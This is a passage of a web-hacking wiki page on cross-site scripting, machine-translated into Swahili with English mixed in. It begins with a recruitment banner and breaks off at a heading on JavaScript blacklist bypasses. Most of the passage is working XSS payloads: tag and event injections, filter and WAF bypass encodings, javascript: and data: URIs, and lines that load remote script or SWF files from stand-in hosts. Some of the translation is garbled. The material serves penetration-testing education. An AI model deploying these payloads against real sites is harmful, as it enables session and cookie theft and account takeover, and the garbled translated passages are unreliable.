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1468 lines
73 KiB
Markdown
1468 lines
73 KiB
Markdown
# XSS (Cross Site Scripting)
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<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
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Ikiwa unavutiwa na **kazi ya uhalifu wa mtandao** na kujaribu kuvunja yasiyoweza kuvunjwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa Kiswahili vizuri kunahitajika_).
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{% embed url="https://www.stmcyber.com/careers" %}
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## Methodology
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1. Angalia ikiwa **thamani yoyote unayodhibiti** (_parameta_, _njia_, _vichwa_?, _cookies_?) inarudi **katika** HTML au **inatumiwa** na **JS** code.
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2. **Pata muktadha** ambapo inarudi/inatumika.
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3. Ikiwa **inarudi**
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1. Angalia **ni alama zipi unaweza kutumia** na kulingana na hiyo, andaa payload:
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1. Katika **HTML safi**:
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1. Je, unaweza kuunda vitambulisho vipya vya HTML?
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2. Je, unaweza kutumia matukio au sifa zinazounga mkono `javascript:` itifaki?
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3. Je, unaweza kupita kinga?
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4. Je, maudhui ya HTML yanatafsiriwa na injini yoyote ya JS upande wa mteja (_AngularJS_, _VueJS_, _Mavo_...), unaweza kutumia [**Client Side Template Injection**](../client-side-template-injection-csti.md).
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5. Ikiwa huwezi kuunda vitambulisho vya HTML vinavyotekeleza JS code, unaweza kutumia [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/)?
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2. Ndani ya **HTML tag**:
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1. Je, unaweza kutoka kwenye muktadha wa HTML safi?
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2. Je, unaweza kuunda matukio/mapitio mapya ili kutekeleza JS code?
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3. Je, sifa ambapo umekwama inasaidia utekelezaji wa JS?
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4. Je, unaweza kupita kinga?
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3. Ndani ya **JavaScript code**:
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1. Je, unaweza kukwepa `<script>` tag?
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2. Je, unaweza kukwepa mfuatano na kutekeleza JS code tofauti?
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3. Je, ingizo lako liko katika template literals \`\`?
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4. Je, unaweza kupita kinga?
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4. Javascript **function** inayotekelezwa
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1. Unaweza kuashiria jina la kazi ya kutekeleza. e.g.: `?callback=alert(1)`
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4. Ikiwa **inatumiwa**:
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1. Unaweza kutumia **DOM XSS**, zingatia jinsi ingizo lako linadhibitiwa na ikiwa **ingizo lako lililodhibitiwa linatumika na sink yoyote.**
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Unapofanya kazi kwenye XSS ngumu unaweza kupata ni ya kuvutia kujua kuhusu:
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{% content-ref url="debugging-client-side-js.md" %}
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[debugging-client-side-js.md](debugging-client-side-js.md)
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{% endcontent-ref %}
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## Reflected values
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Ili kufanikiwa kutumia XSS, jambo la kwanza unahitaji kupata ni **thamani inayodhibitiwa na wewe ambayo inarudi** kwenye ukurasa wa wavuti.
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* **Inarudi kwa kati**: Ikiwa unapata kwamba thamani ya parameta au hata njia inarudi kwenye ukurasa wa wavuti unaweza kutumia **Reflected XSS**.
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* **Ilihifadhiwa na inarudi**: Ikiwa unapata kwamba thamani inayodhibitiwa na wewe imehifadhiwa kwenye seva na inarudi kila wakati unapoingia kwenye ukurasa unaweza kutumia **Stored XSS**.
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* **Inafikiwa kupitia JS**: Ikiwa unapata kwamba thamani inayodhibitiwa na wewe inafikiwa kwa kutumia JS unaweza kutumia **DOM XSS**.
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## Contexts
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Unapojaribu kutumia XSS, jambo la kwanza unahitaji kujua ni **wapi ingizo lako linaporudi**. Kulingana na muktadha, utaweza kutekeleza JS code bila mipaka kwa njia tofauti.
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### Raw HTML
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Ikiwa ingizo lako **linarudi kwenye HTML safi** ukurasa utahitaji kutumia baadhi ya **HTML tag** ili kutekeleza JS code: `<img , <iframe , <svg , <script` ... hizi ni baadhi tu ya vitambulisho vingi vya HTML ambavyo unaweza kutumia.\
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Pia, kumbuka [Client Side Template Injection](../client-side-template-injection-csti.md).
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### Ndani ya sifa za HTML tags
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Ikiwa ingizo lako linarudi ndani ya thamani ya sifa ya tag unaweza kujaribu:
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1. **Kukwepa kutoka kwenye sifa na kutoka kwenye tag** (kisha utakuwa kwenye HTML safi) na kuunda vitambulisho vipya vya HTML ili kutumia: `"><img [...]`
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2. Ikiwa **unaweza kukwepa kutoka kwenye sifa lakini si kutoka kwenye tag** (`>` imeandikwa au kufutwa), kulingana na tag unaweza **kuunda tukio** linalotekeleza JS code: `" autofocus onfocus=alert(1) x="`
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3. Ikiwa **huwezi kukwepa kutoka kwenye sifa** (`"` inandikwa au kufutwa), kisha kulingana na **sifa ipi** thamani yako inarudi ndani **ikiwa unadhibiti thamani yote au sehemu tu** utaweza kuitumia. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze code bila mipaka wakati inabonyezwa. Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia itifaki `javascript:` kutekeleza code bila mipaka: **`href="javascript:alert(1)"`**
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4. Ikiwa ingizo lako linarudi ndani ya "**vitambulisho visivyoweza kutumika**" unaweza kujaribu hila ya **`accesskey`** kutumia udhaifu (utahitaji aina fulani ya uhandisi wa kijamii ili kutumia hii): **`" accesskey="x" onclick="alert(1)" x="`**
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Mfano wa ajabu wa Angular ikitekeleza XSS ikiwa unadhibiti jina la darasa:
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```html
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<div ng-app>
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<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
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</div>
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```
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### Ndani ya msimbo wa JavaScript
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Katika kesi hii, ingizo lako linajitokeza kati ya **`<script> [...] </script>`** lebo za ukurasa wa HTML, ndani ya faili ya `.js` au ndani ya sifa ikitumia **`javascript:`** itifaki:
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* Ikiwa linajitokeza kati ya **`<script> [...] </script>`** lebo, hata kama ingizo lako liko ndani ya aina yoyote ya nukuu, unaweza kujaribu kuingiza `</script>` na kutoroka kutoka kwenye muktadha huu. Hii inafanya kazi kwa sababu ** kivinjari kitaanza kuchambua lebo za HTML** na kisha yaliyomo, kwa hivyo, hakitagundua kwamba lebo yako ya kuingiza `</script>` iko ndani ya msimbo wa HTML.
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* Ikiwa linajitokeza **ndani ya mfuatano wa JS** na hila ya mwisho haifanyi kazi, unahitaji **kutoka** kwenye mfuatano, **kutekeleza** msimbo wako na **kurekebisha** msimbo wa JS (ikiwa kuna kosa lolote, halitatekelezwa):
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* `'-alert(1)-'`
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* `';-alert(1)//`
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* `\';alert(1)//`
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* Ikiwa linajitokeza ndani ya maandiko ya kiolezo unaweza **kuingiza maelekezo ya JS** ukitumia sintaksia ya `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
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* **Unicode encode** inafanya kazi kuandika **msimbo sahihi wa javascript**:
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```javascript
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\u{61}lert(1)
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\u0061lert(1)
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\u{0061}lert(1)
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```
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#### Javascript Hoisting
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Javascript Hoisting inahusisha fursa ya **kutangaza kazi, mabadiliko au madarasa baada ya kutumika ili uweze kutumia hali ambapo XSS inatumia mabadiliko au kazi zisizotangazwa.**\
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**Angalia ukurasa ufuatao kwa maelezo zaidi:**
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{% content-ref url="js-hoisting.md" %}
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[js-hoisting.md](js-hoisting.md)
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{% endcontent-ref %}
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### Javascript Function
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Kurasa kadhaa za wavuti zina mwisho ambao **zinakubali kama parameter jina la kazi ya kutekeleza**. Mfano wa kawaida wa kuona katika mazingira halisi ni kitu kama: `?callback=callbackFunc`.
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Njia nzuri ya kugundua ikiwa kitu kilichotolewa moja kwa moja na mtumiaji kinajaribu kutekelezwa ni **kubadilisha thamani ya param** (kwa mfano kuwa 'Vulnerable') na kutazama kwenye console kwa makosa kama:
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.png>)
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Iwapo ni hatari, unaweza kuwa na uwezo wa **kuanzisha tahadhari** kwa kutuma tu thamani: **`?callback=alert(1)`**. Hata hivyo, ni kawaida sana kwamba mwisho huu uta **thibitisha maudhui** ili kuruhusu herufi, nambari, nukta na viwango vya chini (**`[\w\._]`**).
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Hata hivyo, hata na kikomo hicho bado inawezekana kufanya baadhi ya vitendo. Hii ni kwa sababu unaweza kutumia herufi hizo halali ili **kufikia kipengele chochote katika DOM**:
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.png>)
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Baadhi ya kazi muhimu kwa hili:
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```
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firstElementChild
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lastElementChild
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nextElementSibiling
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lastElementSibiling
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parentElement
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```
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You can also try to **trigger Javascript functions** directly: `obj.sales.delOrders`.
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However, usually the endpoints executing the indicated function are endpoints without much interesting DOM, **kurasa nyingine katika asili hiyo hiyo** will have a **DOM yenye kuvutia zaidi** to perform more actions.
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Therefore, in order to **abuse this vulnerability in a different DOM** the **Same Origin Method Execution (SOME)** exploitation was developed:
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{% content-ref url="some-same-origin-method-execution.md" %}
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[some-same-origin-method-execution.md](some-same-origin-method-execution.md)
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{% endcontent-ref %}
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### DOM
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There is **JS code** that is using **unsafely** some **data controlled by an attacker** like `location.href` . An attacker, could abuse this to execute arbitrary JS code.
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{% content-ref url="dom-xss.md" %}
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[dom-xss.md](dom-xss.md)
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{% endcontent-ref %}
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### **Universal XSS**
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These kind of XSS can be found **popote**. They not depend just on the client exploitation of a web application but on **muktadha** **wowote**. These kind of **arbitrary JavaScript execution** can even be abuse to obtain **RCE**, **kusoma** **faili** **za kawaida** in clients and servers, and more.\
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Some **mfano**:
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{% content-ref url="server-side-xss-dynamic-pdf.md" %}
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[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
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{% endcontent-ref %}
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{% content-ref url="../../network-services-pentesting/pentesting-web/electron-desktop-apps/" %}
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[electron-desktop-apps](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
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{% endcontent-ref %}
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## WAF bypass encoding image
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.jpg>)
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## Injecting inside raw HTML
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When your input is reflected **ndani ya ukurasa wa HTML** or you can escape and inject HTML code in this context the **kitu** cha kwanza you need to do if check if you can abuse `<` to create new tags: Just try to **reflect** that **char** and check if it's being **HTML encoded** or **deleted** of if it is **reflected without changes**. **Only in the last case you will be able to exploit this case**.\
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For this cases also **keep in mind** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
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_**Note: A HTML comment can be closed using**** ****`-->`**** ****or**** ****`--!>`**_
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In this case and if no black/whitelisting is used, you could use payloads like:
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```html
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<script>alert(1)</script>
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<img src=x onerror=alert(1) />
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<svg onload=alert('XSS')>
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```
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Lakini, ikiwa tags/attributes black/whitelisting inatumika, utahitaji **kujaribu nguvu ambayo tags** unaweza kuunda.\
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Mara tu umepata **tags zipi zinazoruhusiwa**, utahitaji **kujaribu nguvu attributes/events** ndani ya tags zilizopatikana ili kuona jinsi unavyoweza kushambulia muktadha.
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### Tags/Events kujaribu nguvu
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Nenda kwenye [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) na bonyeza _**Copy tags to clipboard**_. Kisha, tuma zote kwa kutumia Burp intruder na angalia ikiwa kuna tags yoyote haikugunduliwa kama mbaya na WAF. Mara tu unapogundua tags zipi unaweza kutumia, unaweza **kujaribu nguvu matukio yote** kwa kutumia tags halali (katika ukurasa huo huo bonyeza _**Copy events to clipboard**_ na ufuate utaratibu sawa kama hapo awali).
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### Tags za kawaida
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Ikiwa huja pata tag halali ya HTML, unaweza kujaribu **kuunda tag ya kawaida** na kutekeleza msimbo wa JS na attribute `onfocus`. Katika ombi la XSS, unahitaji kumaliza URL na `#` ili kufanya ukurasa **uangalie kwenye kitu hicho** na **kutekeleza** msimbo:
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```
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/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
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```
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### Blacklist Bypasses
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Ikiwa aina fulani ya blacklist inatumika unaweza kujaribu kuipita kwa hila za kipumbavu:
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```javascript
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//Random capitalization
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<script> --> <ScrIpT>
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<img --> <ImG
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//Double tag, in case just the first match is removed
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<script><script>
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<scr<script>ipt>
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<SCRscriptIPT>alert(1)</SCRscriptIPT>
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//You can substitude the space to separate attributes for:
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/
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/*%00/
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/%00*/
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%2F
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%0D
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%0C
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%0A
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%09
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//Unexpected parent tags
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<svg><x><script>alert('1')</x>
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//Unexpected weird attributes
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<script x>
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<script a="1234">
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<script ~~~>
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<script/random>alert(1)</script>
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<script ///Note the newline
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>alert(1)</script>
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<scr\x00ipt>alert(1)</scr\x00ipt>
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//Not closing tag, ending with " <" or " //"
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<iframe SRC="javascript:alert('XSS');" <
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<iframe SRC="javascript:alert('XSS');" //
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//Extra open
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<<script>alert("XSS");//<</script>
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//Just weird an unexpected, use your imagination
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<</script/script><script>
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<input type=image src onerror="prompt(1)">
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//Using `` instead of parenthesis
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onerror=alert`1`
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//Use more than one
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<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
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```
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### Length bypass (small XSSs)
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{% hint style="info" %}
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**XSS ndogo zaidi kwa mazingira tofauti** payload [**inaweza kupatikana hapa**](https://github.com/terjanq/Tiny-XSS-Payloads) na [**hapa**](https://tinyxss.terjanq.me).
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{% endhint %}
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```html
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<!-- Taken from the blog of Jorge Lajara -->
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<svg/onload=alert``>
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<script src=//aa.es>
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<script src=//℡㏛.pw>
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```
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The last one is using 2 unicode characters which expands to 5: telsr\
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More of these characters can be found [here](https://www.unicode.org/charts/normalization/).\
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To check in which characters are decomposed check [here](https://www.compart.com/en/unicode/U+2121).
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### Click XSS - Clickjacking
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Ikiwa ili kutumia udhaifu huo unahitaji **mtumiaji kubonyeza kiungo au fomu** yenye data iliyojazwa awali unaweza kujaribu [**kudhulumu Clickjacking**](../clickjacking.md#xss-clickjacking) (ikiwa ukurasa una udhaifu).
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### Impossible - Dangling Markup
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Ikiwa unafikiri tu kwamba **haiwezekani kuunda tag ya HTML yenye sifa ya kutekeleza msimbo wa JS**, unapaswa kuangalia [**Dangling Markup**](../dangling-markup-html-scriptless-injection/) kwa sababu unaweza **kutumia** udhaifu huo **bila** kutekeleza **msimbo wa JS**.
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## Injecting inside HTML tag
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### Inside the tag/escaping from attribute value
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Ikiwa uko **ndani ya tag ya HTML**, jambo la kwanza unaloweza kujaribu ni **kutoroka** kutoka kwa tag na kutumia baadhi ya mbinu zilizotajwa katika [sehemu ya awali](./#injecting-inside-raw-html) kutekeleza msimbo wa JS.\
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Ikiwa **huwezi kutoroka kutoka kwa tag**, unaweza kuunda sifa mpya ndani ya tag kujaribu kutekeleza msimbo wa JS, kwa mfano kutumia payload kama (_kumbuka kwamba katika mfano huu nukuu mbili zinatumika kutoroka kutoka kwa sifa, hutahitaji hizo ikiwa ingizo lako linarejelewa moja kwa moja ndani ya tag_):
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```bash
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" autofocus onfocus=alert(document.domain) x="
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" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
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```
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**Matukio ya mtindo**
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```python
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<p style="animation: x;" onanimationstart="alert()">XSS</p>
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<p style="animation: x;" onanimationend="alert()">XSS</p>
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#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
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<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
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#moving your mouse anywhere over the page (0-click-ish):
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<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
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```
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### Ndani ya sifa
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Hata kama huwezi **kutoroka kutoka kwenye sifa** (`"` inakodishwa au kufutwa), kulingana na **sifa gani** thamani yako inarudishwa ndani **kama unadhibiti thamani yote au sehemu tu** utaweza kuitumia vibaya. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze msimbo wa kiholela inapobofya.\
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Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia itifaki ya `javascript:` kutekeleza msimbo wa kiholela: **`href="javascript:alert(1)"`**
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**Kupita ndani ya tukio kwa kutumia HTML encoding/URL encode**
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**Makarakteri yaliyokodishwa ya HTML** ndani ya thamani ya sifa za vitambulisho vya HTML yanatolewa **wakati wa kutekeleza**. Hivyo basi kitu kama ifuatavyo kitakuwa halali (mzigo uko kwa maandiko makubwa): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Rudi Nyuma </a>`
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Kumbuka kwamba **aina yoyote ya HTML encode ni halali**:
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```javascript
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//HTML entities
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'-alert(1)-'
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//HTML hex without zeros
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'-alert(1)-'
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//HTML hex with zeros
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'-alert(1)-'
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//HTML dec without zeros
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'-alert(1)-'
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//HTML dec with zeros
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'-alert(1)-'
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<a href="javascript:var a=''-alert(1)-''">a</a>
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<a href="javascript:alert(2)">a</a>
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<a href="javascript:alert(3)">a</a>
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```
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**Kumbuka kwamba URL encode pia itafanya kazi:**
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```python
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<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
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```
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**Kupita ndani ya tukio kwa kutumia Unicode encode**
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```javascript
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//For some reason you can use unicode to encode "alert" but not "(1)"
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<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
|
||
```
|
||
### Mipango Maalum Ndani ya sifa
|
||
|
||
Hapa unaweza kutumia mipango **`javascript:`** au **`data:`** katika baadhi ya maeneo ili **kutekeleza msimbo wa JS wa kiholela**. Baadhi zitahitaji mwingiliano wa mtumiaji na baadhi hazitahitaji.
|
||
```javascript
|
||
javascript:alert(1)
|
||
JavaSCript:alert(1)
|
||
javascript:%61%6c%65%72%74%28%31%29 //URL encode
|
||
javascript:alert(1)
|
||
javascript:alert(1)
|
||
javascript:alert(1)
|
||
javascriptΪlert(1)
|
||
java //Note the new line
|
||
script:alert(1)
|
||
|
||
data:text/html,<script>alert(1)</script>
|
||
DaTa:text/html,<script>alert(1)</script>
|
||
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
|
||
data:text/html;charset=UTF-8,<script>alert(1)</script>
|
||
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
|
||
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
|
||
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
|
||
```
|
||
**Mahali ambapo unaweza kuingiza protokali hizi**
|
||
|
||
**Kwa ujumla** protokali ya `javascript:` inaweza **kutumika katika lebo yoyote inayokubali sifa ya `href`** na katika **zaidi ya** lebo nyingi zinazokubali **sifa ya `src`** (lakini si `<img>`)
|
||
```markup
|
||
<a href="javascript:alert(1)">
|
||
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
|
||
<form action="javascript:alert(1)"><button>send</button></form>
|
||
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
|
||
<object data=javascript:alert(3)>
|
||
<iframe src=javascript:alert(2)>
|
||
<embed src=javascript:alert(1)>
|
||
|
||
<object data="data:text/html,<script>alert(5)</script>">
|
||
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
|
||
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
|
||
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
|
||
|
||
//Special cases
|
||
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
|
||
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
|
||
<iframe srcdoc="<svg onload=alert(4);>">
|
||
```
|
||
**Njia nyingine za kuficha**
|
||
|
||
_**Katika kesi hii, hifadhidata ya HTML na hifadhidata ya Unicode kutoka sehemu iliyopita pia ni halali kwani uko ndani ya sifa.**_
|
||
```javascript
|
||
<a href="javascript:var a=''-alert(1)-''">
|
||
```
|
||
Zaidi ya hayo, kuna **njia nzuri** nyingine kwa kesi hizi: **Hata kama ingizo lako ndani ya `javascript:...` linapandishwa URL, litakuwa URL decoded kabla ya kutekelezwa.** Hivyo, ikiwa unahitaji **kutoroka** kutoka kwa **nyuzi** kwa kutumia **nukta moja** na unaona kwamba **linapandishwa URL**, kumbuka kwamba **haijalishi,** litakuwa **limeeleweka** kama **nukta moja** wakati wa **wakati wa utekelezaji.**
|
||
```javascript
|
||
'-alert(1)-'
|
||
%27-alert(1)-%27
|
||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||
```
|
||
Kumbuka kwamba ikiwa unajaribu **kutumia zote** `URLencode + HTMLencode` kwa mpangilio wowote ili kuandika **payload** haitafanya **kazi**, lakini unaweza **kuziunganisha ndani ya payload**.
|
||
|
||
**Kutumia Hex na Octal encode na `javascript:`**
|
||
|
||
Unaweza kutumia **Hex** na **Octal encode** ndani ya sifa ya `src` ya `iframe` (angalau) kutangaza **HTML tags za kutekeleza JS**:
|
||
```javascript
|
||
//Encoded: <svg onload=alert(1)>
|
||
// This WORKS
|
||
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
|
||
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
|
||
|
||
//Encoded: alert(1)
|
||
// This doesn't work
|
||
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
|
||
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
|
||
```
|
||
### Reverse tab nabbing
|
||
```javascript
|
||
<a target="_blank" rel="opener"
|
||
```
|
||
Ikiwa unaweza kuingiza URL yoyote katika tag ya **`<a href=`** isiyo na mipaka ambayo ina sifa za **`target="_blank" na rel="opener"`**, angalia **ukurasa ufuatao ili kutumia tabia hii**:
|
||
|
||
{% content-ref url="../reverse-tab-nabbing.md" %}
|
||
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
|
||
{% endcontent-ref %}
|
||
|
||
### juu ya Kuepuka Wakati wa Wamiliki
|
||
|
||
Kwanza angalia ukurasa huu ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) kwa **"on" event handlers** zinazofaa.\
|
||
Ikiwa kuna orodha ya mblacklist inayokuzuia kuunda wamiliki hawa, unaweza kujaribu njia zifuatazo za kuepuka:
|
||
```javascript
|
||
<svg onload%09=alert(1)> //No safari
|
||
<svg %09onload=alert(1)>
|
||
<svg %09onload%20=alert(1)>
|
||
<svg onload%09%20%28%2c%3b=alert(1)>
|
||
|
||
//chars allowed between the onevent and the "="
|
||
IExplorer: %09 %0B %0C %020 %3B
|
||
Chrome: %09 %20 %28 %2C %3B
|
||
Safari: %2C %3B
|
||
Firefox: %09 %20 %28 %2C %3B
|
||
Opera: %09 %20 %2C %3B
|
||
Android: %09 %20 %28 %2C %3B
|
||
```
|
||
### XSS katika "Vitambulisho visivyoweza kutumika" (kazi ya siri, kiungo, kanuni, meta)
|
||
|
||
Kutoka [**hapa**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sasa inawezekana kutumia kazi za siri kwa:**
|
||
```html
|
||
<button popvertarget="x">Click me</button>
|
||
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
|
||
```
|
||
Na katika **meta tags**:
|
||
```html
|
||
<!-- Injection inside meta attribute-->
|
||
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
|
||
<!-- Existing target-->
|
||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||
<div popover id="newsletter">Newsletter popup</div>
|
||
```
|
||
From [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Unaweza kutekeleza **XSS payload ndani ya sifa iliyofichwa**, ikiwa unaweza **kumsihi** **mhasiriwa** kubonyeza **mchanganyiko wa funguo**. Kwenye Firefox Windows/Linux mchanganyiko wa funguo ni **ALT+SHIFT+X** na kwenye OS X ni **CTRL+ALT+X**. Unaweza kubaini mchanganyiko tofauti wa funguo kwa kutumia funguo tofauti katika sifa ya ufikiaji. Hapa kuna vector:
|
||
```markup
|
||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||
```
|
||
**Payload ya XSS itakuwa kama hii: `" accesskey="x" onclick="alert(1)" x="`**
|
||
|
||
### Kupita Orodha ya Blacklist
|
||
|
||
Hizi ni mbinu kadhaa za kutumia uandishi tofauti ambazo tayari zimeonyeshwa ndani ya sehemu hii. Rudi **kujifunza wapi unaweza kutumia:**
|
||
|
||
* **Uandishi wa HTML (vitambulisho vya HTML)**
|
||
* **Uandishi wa Unicode (inaweza kuwa msimbo halali wa JS):** `\u0061lert(1)`
|
||
* **Uandishi wa URL**
|
||
* **Uandishi wa Hex na Octal**
|
||
* **Uandishi wa data**
|
||
|
||
**Kupita kwa vitambulisho na sifa za HTML**
|
||
|
||
Soma [Kupita Orodha ya Blacklist ya sehemu ya awali](./#blacklist-bypasses).
|
||
|
||
**Kupita kwa msimbo wa JavaScript**
|
||
|
||
Soma [orodha ya kupita ya JavaScript ya sehemu ifuatayo](./#javascript-bypass-blacklists-techniques).
|
||
|
||
### CSS-Gadgets
|
||
|
||
Ikiwa umepata **XSS katika sehemu ndogo sana** ya wavuti inayohitaji aina fulani ya mwingiliano (labda kiungo kidogo kwenye footer chenye kipengele cha onmouseover), unaweza kujaribu **kubadilisha nafasi ambayo kipengele hicho kinachukua** ili kuongeza uwezekano wa kiungo hicho kufanyika.
|
||
|
||
Kwa mfano, unaweza kuongeza mtindo katika kipengele kama: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||
|
||
Lakini, ikiwa WAF inachuja sifa ya mtindo, unaweza kutumia CSS Styling Gadgets, hivyo ikiwa unapata, kwa mfano
|
||
|
||
> .test {display:block; color: blue; width: 100%\}
|
||
|
||
na
|
||
|
||
> \#someid {top: 0; font-family: Tahoma;}
|
||
|
||
Sasa unaweza kubadilisha kiungo chetu na kukileta katika mfumo
|
||
|
||
> \<a href="" id=someid class=test onclick=alert() a="">
|
||
|
||
Hii mbinu ilichukuliwa kutoka [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
|
||
|
||
## Kuingiza ndani ya msimbo wa JavaScript
|
||
|
||
Katika kesi hizi **ingizo** lako litakuwa **limeakisiwa ndani ya msimbo wa JS** wa faili ya `.js` au kati ya vitambulisho vya `<script>...</script>` au kati ya matukio ya HTML ambayo yanaweza kutekeleza msimbo wa JS au kati ya sifa zinazokubali itifaki ya `javascript:`.
|
||
|
||
### Kutoroka \<script> tag
|
||
|
||
Ikiwa msimbo wako umeingizwa ndani ya `<script> [...] var input = 'reflected data' [...] </script>` unaweza kwa urahisi **kutoroka kufunga `<script>`** tag:
|
||
```javascript
|
||
</script><img src=1 onerror=alert(document.domain)>
|
||
```
|
||
Note that in this example we **haven't even closed the single quote**. This is because **HTML parsing is performed first by the browser**, which involves identifying page elements, including blocks of script. The parsing of JavaScript to understand and execute the embedded scripts is only carried out afterward.
|
||
|
||
### Inside JS code
|
||
|
||
If `<>` are being sanitised you can still **escape the string** where your input is being **located** and **execute arbitrary JS**. It's important to **fix JS syntax**, because if there are any errors, the JS code won't be executed:
|
||
```
|
||
'-alert(document.domain)-'
|
||
';alert(document.domain)//
|
||
\';alert(document.domain)//
|
||
```
|
||
### Template literals \`\`
|
||
|
||
Ili kujenga **nyuzi** mbali na nukta moja na mbili, JS pia inakubali **backticks** **` `` `**. Hii inajulikana kama template literals kwani inaruhusu **kuingiza maelezo ya JS** kwa kutumia sintaksia `${ ... }`.\
|
||
Hivyo, ikiwa unapata kuwa ingizo lako linatolewa **ndani ya** nyuzi ya JS inayotumia backticks, unaweza kutumia sintaksia `${ ... }` kutekeleza **kodhi ya JS isiyo na mipaka**:
|
||
|
||
Hii inaweza **kutumiwa vibaya** kwa kutumia:
|
||
```javascript
|
||
`${alert(1)}`
|
||
`${`${`${`${alert(1)}`}`}`}`
|
||
```
|
||
|
||
```````````````javascript
|
||
// This is valid JS code, because each time the function returns itself it's recalled with ``
|
||
function loop(){return loop}
|
||
loop``````````````
|
||
```````````````
|
||
### Utekelezaji wa msimbo uliokodishwa
|
||
```markup
|
||
<script>\u0061lert(1)</script>
|
||
<svg><script>alert('1')
|
||
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
|
||
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
|
||
```
|
||
### Unicode Encode JS execution
|
||
```javascript
|
||
\u{61}lert(1)
|
||
\u0061lert(1)
|
||
\u{0061}lert(1)
|
||
```
|
||
### Mbinu za kupita orodha za mblacklist za JavaScript
|
||
|
||
